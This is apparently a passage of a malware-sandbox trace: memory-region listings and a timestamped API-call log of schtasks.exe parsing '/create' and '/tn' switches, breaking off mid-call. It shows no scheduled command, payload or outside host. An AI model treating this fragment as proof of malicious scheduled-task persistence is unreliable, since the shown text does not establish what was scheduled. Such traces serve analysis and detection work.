"\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3118 start_va = 0x650000 end_va = 0x7d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000650000" filename = "" Region: id = 3119 start_va = 0x7e0000 end_va = 0x1bdffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 3120 start_va = 0xc0000 end_va = 0xd1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3121 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3122 start_va = 0xe0000 end_va = 0xe0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3123 start_va = 0x7fefbe30000 end_va = 0x7fefbe3bfff monitored = 0 entry_point = 0x7fefbe31064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3124 start_va = 0x1be0000 end_va = 0x1eaefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3125 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3126 start_va = 0xf0000 end_va = 0x16cfff monitored = 0 entry_point = 0xfcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3127 start_va = 0x7fefcb60000 end_va = 0x7fefcb6efff monitored = 0 entry_point = 0x7fefcb61010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3128 start_va = 0x7fefb5c0000 end_va = 0x7fefb615fff monitored = 0 entry_point = 0x7fefb5cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3129 start_va = 0x1eb0000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001eb0000" filename = "" Region: id = 3130 start_va = 0x1eb0000 end_va = 0x1f8efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001eb0000" filename = "" Region: id = 3131 start_va = 0x2050000 end_va = 0x20cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002050000" filename = "" Region: id = 3132 start_va = 0x7fefec50000 end_va = 0x7fefec6efff monitored = 0 entry_point = 0x7fefec560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3133 start_va = 0x340000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 3134 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3136 start_va = 0x7fefe7b0000 end_va = 0x7fefe88afff monitored = 0 entry_point = 0x7fefe7d0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3137 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3138 start_va = 0x7fefef50000 end_va = 0x7fefefe8fff monitored = 0 entry_point = 0x7fefef51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3139 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 3140 start_va = 0x7fefa9d0000 end_va = 0x7fefaaf6fff monitored = 0 entry_point = 0x7fefa9d10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3141 start_va = 0x7fefcb30000 end_va = 0x7fefcb54fff monitored = 0 entry_point = 0x7fefcb39658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3144 start_va = 0x7fefb150000 end_va = 0x7fefb184fff monitored = 0 entry_point = 0x7fefb151064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 155 os_tid = 0xff8 [0143.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x21f7e0 | out: lpSystemTimeAsFileTime=0x21f7e0*(dwLowDateTime=0x23f76cc0, dwHighDateTime=0x1d8a92a)) [0143.456] GetCurrentProcessId () returned 0xff4 [0143.456] GetCurrentThreadId () returned 0xff8 [0143.456] GetTickCount () returned 0x1389062 [0143.456] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x21f7e8 | out: lpPerformanceCount=0x21f7e8*=2062231948311) returned 1 [0143.457] GetModuleHandleW (lpModuleName=0x0) returned 0xfff90000 [0143.457] __set_app_type (_Type=0x1) [0143.457] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xfffb972c) returned 0x0 [0143.457] __wgetmainargs (in: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248, _DoWildCard=0, _StartInfo=0xfffd125c | out: _Argc=0xfffd1240, _Argv=0xfffd1250, _Env=0xfffd1248) returned 0 [0143.458] _onexit (_Func=0xfffc2ab0) returned 0xfffc2ab0 [0143.458] _onexit (_Func=0xfffc2ac4) returned 0xfffc2ac4 [0143.458] _onexit (_Func=0xfffc2afc) returned 0xfffc2afc [0143.458] _onexit (_Func=0xfffc2b58) returned 0xfffc2b58 [0143.458] _onexit (_Func=0xfffc2b80) returned 0xfffc2b80 [0143.458] _onexit (_Func=0xfffc2ba8) returned 0xfffc2ba8 [0143.458] _onexit (_Func=0xfffc2bd0) returned 0xfffc2bd0 [0143.458] _onexit (_Func=0xfffc2bf8) returned 0xfffc2bf8 [0143.459] _onexit (_Func=0xfffc2c20) returned 0xfffc2c20 [0143.459] _onexit (_Func=0xfffc2c48) returned 0xfffc2c48 [0143.459] _onexit (_Func=0xfffc2c70) returned 0xfffc2c70 [0143.459] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0143.459] WinSqmIsOptedIn () returned 0x0 [0143.459] GetProcessHeap () returned 0x3c0000 [0143.459] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3db9d0 [0143.459] SetLastError (dwErrCode=0x0) [0143.460] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0143.460] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0143.460] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0143.460] VerifyVersionInfoW (in: lpVersionInformation=0x21efa0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x21efa0) returned 1 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3db9f0 [0143.460] lstrlenW (lpString="") returned 0 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x2) returned 0x3dba10 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5960 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dba30 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5990 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d59c0 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d59f0 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5a20 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dba50 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5a50 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.460] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5a80 [0143.460] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5ab0 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5ae0 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dba70 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5b10 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5b40 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5b70 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5ba0 [0143.461] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0143.461] SetLastError (dwErrCode=0x0) [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5bd0 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c00 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c30 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c60 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5c90 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dba90 [0143.461] _memicmp (_Buf1=0x3dba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.461] GetProcessHeap () returned 0x3c0000 [0143.461] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x208) returned 0x3dbc30 [0143.461] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3dbc30, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0143.462] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefbe30000 [0143.464] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefbe315fc [0143.464] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0143.465] GetProcessHeap () returned 0x3c0000 [0143.465] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x74e) returned 0x3dc1e0 [0143.465] GetProcAddress (hModule=0x7fefbe30000, lpProcName="GetFileVersionInfoW") returned 0x7fefbe31614 [0143.465] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3dc1e0 | out: lpData=0x3dc1e0) returned 1 [0143.465] GetProcAddress (hModule=0x7fefbe30000, lpProcName="VerQueryValueW") returned 0x7fefbe315e0 [0143.466] VerQueryValueW (in: pBlock=0x3dc1e0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x21f088, puLen=0x21f0f0 | out: lplpBuffer=0x21f088*=0x3dc57c, puLen=0x21f0f0) returned 1 [0143.468] _memicmp (_Buf1=0x3dba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.468] _vsnwprintf (in: _Buffer=0x3dbc30, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x21f068 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0143.468] VerQueryValueW (in: pBlock=0x3dc1e0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x21f0f8, puLen=0x21f0e8 | out: lplpBuffer=0x21f0f8*=0x3dc3a8, puLen=0x21f0e8) returned 1 [0143.469] lstrlenW (lpString="schtasks.exe") returned 12 [0143.469] lstrlenW (lpString="schtasks.exe") returned 12 [0143.469] lstrlenW (lpString=".EXE") returned 4 [0143.469] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0143.470] lstrlenW (lpString="schtasks.exe") returned 12 [0143.470] lstrlenW (lpString=".EXE") returned 4 [0143.470] _memicmp (_Buf1=0x3dba90, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.470] lstrlenW (lpString="schtasks") returned 8 [0143.470] GetProcessHeap () returned 0x3c0000 [0143.470] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3d5d80 [0143.470] GetProcessHeap () returned 0x3c0000 [0143.470] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcaf0 [0143.470] GetProcessHeap () returned 0x3c0000 [0143.470] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcb20 [0143.470] GetProcessHeap () returned 0x3c0000 [0143.470] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcb50 [0143.470] GetProcessHeap () returned 0x3c0000 [0143.470] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dbab0 [0143.470] _memicmp (_Buf1=0x3dbab0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.470] GetProcessHeap () returned 0x3c0000 [0143.471] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xa0) returned 0x3dc030 [0143.471] GetProcessHeap () returned 0x3c0000 [0143.471] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcb80 [0143.471] GetProcessHeap () returned 0x3c0000 [0143.471] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcbb0 [0143.471] GetProcessHeap () returned 0x3c0000 [0143.471] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x20) returned 0x3dcbe0 [0143.471] GetProcessHeap () returned 0x3c0000 [0143.471] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dbad0 [0143.471] _memicmp (_Buf1=0x3dbad0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.471] GetProcessHeap () returned 0x3c0000 [0143.471] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x200) returned 0x3dd2c0 [0143.471] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3dd2c0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0143.471] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0143.471] GetProcessHeap () returned 0x3c0000 [0143.471] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x30) returned 0x3d7a80 [0143.471] _vsnwprintf (in: _Buffer=0x3dc030, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x21f068 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0143.471] GetProcessHeap () returned 0x3c0000 [0143.471] GetProcessHeap () returned 0x3c0000 [0143.471] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc1e0) returned 1 [0143.472] GetProcessHeap () returned 0x3c0000 [0143.472] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dc1e0) returned 0x74e [0143.472] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc1e0 | out: hHeap=0x3c0000) returned 1 [0143.472] SetLastError (dwErrCode=0x0) [0143.472] GetThreadLocale () returned 0x409 [0143.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.472] lstrlenW (lpString="?") returned 1 [0143.472] GetThreadLocale () returned 0x409 [0143.472] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.472] lstrlenW (lpString="create") returned 6 [0143.472] GetThreadLocale () returned 0x409 [0143.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.473] lstrlenW (lpString="delete") returned 6 [0143.473] GetThreadLocale () returned 0x409 [0143.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.473] lstrlenW (lpString="query") returned 5 [0143.473] GetThreadLocale () returned 0x409 [0143.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.473] lstrlenW (lpString="change") returned 6 [0143.473] GetThreadLocale () returned 0x409 [0143.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.473] lstrlenW (lpString="run") returned 3 [0143.473] GetThreadLocale () returned 0x409 [0143.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.473] lstrlenW (lpString="end") returned 3 [0143.473] GetThreadLocale () returned 0x409 [0143.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.473] lstrlenW (lpString="showsid") returned 7 [0143.473] GetThreadLocale () returned 0x409 [0143.473] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0143.473] SetLastError (dwErrCode=0x0) [0143.473] SetLastError (dwErrCode=0x0) [0143.473] lstrlenW (lpString="/create") returned 7 [0143.473] lstrlenW (lpString="-/") returned 2 [0143.473] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.473] lstrlenW (lpString="?") returned 1 [0143.473] lstrlenW (lpString="?") returned 1 [0143.473] GetProcessHeap () returned 0x3c0000 [0143.473] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dc1e0 [0143.473] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.473] GetProcessHeap () returned 0x3c0000 [0143.474] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0xa) returned 0x3dc200 [0143.474] lstrlenW (lpString="create") returned 6 [0143.474] GetProcessHeap () returned 0x3c0000 [0143.474] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x18) returned 0x3dc220 [0143.474] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.474] GetProcessHeap () returned 0x3c0000 [0143.474] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x14) returned 0x3dc240 [0143.474] _vsnwprintf (in: _Buffer=0x3dc200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|?|") returned 3 [0143.474] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|create|") returned 8 [0143.474] lstrlenW (lpString="|?|") returned 3 [0143.474] lstrlenW (lpString="|create|") returned 8 [0143.474] SetLastError (dwErrCode=0x490) [0143.474] lstrlenW (lpString="create") returned 6 [0143.474] lstrlenW (lpString="create") returned 6 [0143.474] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.474] GetProcessHeap () returned 0x3c0000 [0143.474] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dc200) returned 1 [0143.474] GetProcessHeap () returned 0x3c0000 [0143.474] RtlReAllocateHeap (Heap=0x3c0000, Flags=0xc, Ptr=0x3dc200, Size=0x14) returned 0x3dc260 [0143.474] lstrlenW (lpString="create") returned 6 [0143.474] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.474] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|create|") returned 8 [0143.474] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|create|") returned 8 [0143.474] lstrlenW (lpString="|create|") returned 8 [0143.474] lstrlenW (lpString="|create|") returned 8 [0143.474] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0143.474] SetLastError (dwErrCode=0x0) [0143.475] SetLastError (dwErrCode=0x0) [0143.475] SetLastError (dwErrCode=0x0) [0143.475] lstrlenW (lpString="/tn") returned 3 [0143.475] lstrlenW (lpString="-/") returned 2 [0143.475] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0143.475] lstrlenW (lpString="?") returned 1 [0143.475] lstrlenW (lpString="?") returned 1 [0143.475] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.475] lstrlenW (lpString="tn") returned 2 [0143.475] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.475] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|?|") returned 3 [0143.475] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tn|") returned 4 [0143.475] lstrlenW (lpString="|?|") returned 3 [0143.475] lstrlenW (lpString="|tn|") returned 4 [0143.475] SetLastError (dwErrCode=0x490) [0143.475] lstrlenW (lpString="create") returned 6 [0143.475] lstrlenW (lpString="create") returned 6 [0143.475] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.475] lstrlenW (lpString="tn") returned 2 [0143.475] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.475] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|create|") returned 8 [0143.475] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tn|") returned 4 [0143.475] lstrlenW (lpString="|create|") returned 8 [0143.475] lstrlenW (lpString="|tn|") returned 4 [0143.475] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0143.475] SetLastError (dwErrCode=0x490) [0143.476] lstrlenW (lpString="delete") returned 6 [0143.476] lstrlenW (lpString="delete") returned 6 [0143.476] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.476] lstrlenW (lpString="tn") returned 2 [0143.476] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.476] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|delete|") returned 8 [0143.476] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tn|") returned 4 [0143.476] lstrlenW (lpString="|delete|") returned 8 [0143.476] lstrlenW (lpString="|tn|") returned 4 [0143.476] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0143.476] SetLastError (dwErrCode=0x490) [0143.476] lstrlenW (lpString="query") returned 5 [0143.476] lstrlenW (lpString="query") returned 5 [0143.476] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.476] lstrlenW (lpString="tn") returned 2 [0143.476] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.476] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|query|") returned 7 [0143.476] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tn|") returned 4 [0143.476] lstrlenW (lpString="|query|") returned 7 [0143.476] lstrlenW (lpString="|tn|") returned 4 [0143.476] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0143.476] SetLastError (dwErrCode=0x490) [0143.476] lstrlenW (lpString="change") returned 6 [0143.476] lstrlenW (lpString="change") returned 6 [0143.476] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.476] lstrlenW (lpString="tn") returned 2 [0143.477] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.477] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|change|") returned 8 [0143.477] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tn|") returned 4 [0143.477] lstrlenW (lpString="|change|") returned 8 [0143.477] lstrlenW (lpString="|tn|") returned 4 [0143.477] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0143.477] SetLastError (dwErrCode=0x490) [0143.477] lstrlenW (lpString="run") returned 3 [0143.477] lstrlenW (lpString="run") returned 3 [0143.477] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.477] lstrlenW (lpString="tn") returned 2 [0143.477] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.477] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|run|") returned 5 [0143.477] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tn|") returned 4 [0143.477] lstrlenW (lpString="|run|") returned 5 [0143.477] lstrlenW (lpString="|tn|") returned 4 [0143.477] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0143.477] SetLastError (dwErrCode=0x490) [0143.477] lstrlenW (lpString="end") returned 3 [0143.477] lstrlenW (lpString="end") returned 3 [0143.477] _memicmp (_Buf1=0x3dc1e0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.477] lstrlenW (lpString="tn") returned 2 [0143.477] _memicmp (_Buf1=0x3dc220, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0143.477] _vsnwprintf (in: _Buffer=0x3dc260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|end|") returned 5 [0143.477] _vsnwprintf (in: _Buffer=0x3dc240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f078 | out: _Buffer="|tn|") returned 4 [0143.477] lstrlenW (lpString="|end|") returned 5 [0143.478] lstrlenW (lpString="|tn|") returned 4 [0143.478] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0143.478] SetLastError (dwErrCode=0x490) [0143.478] lstrlenW 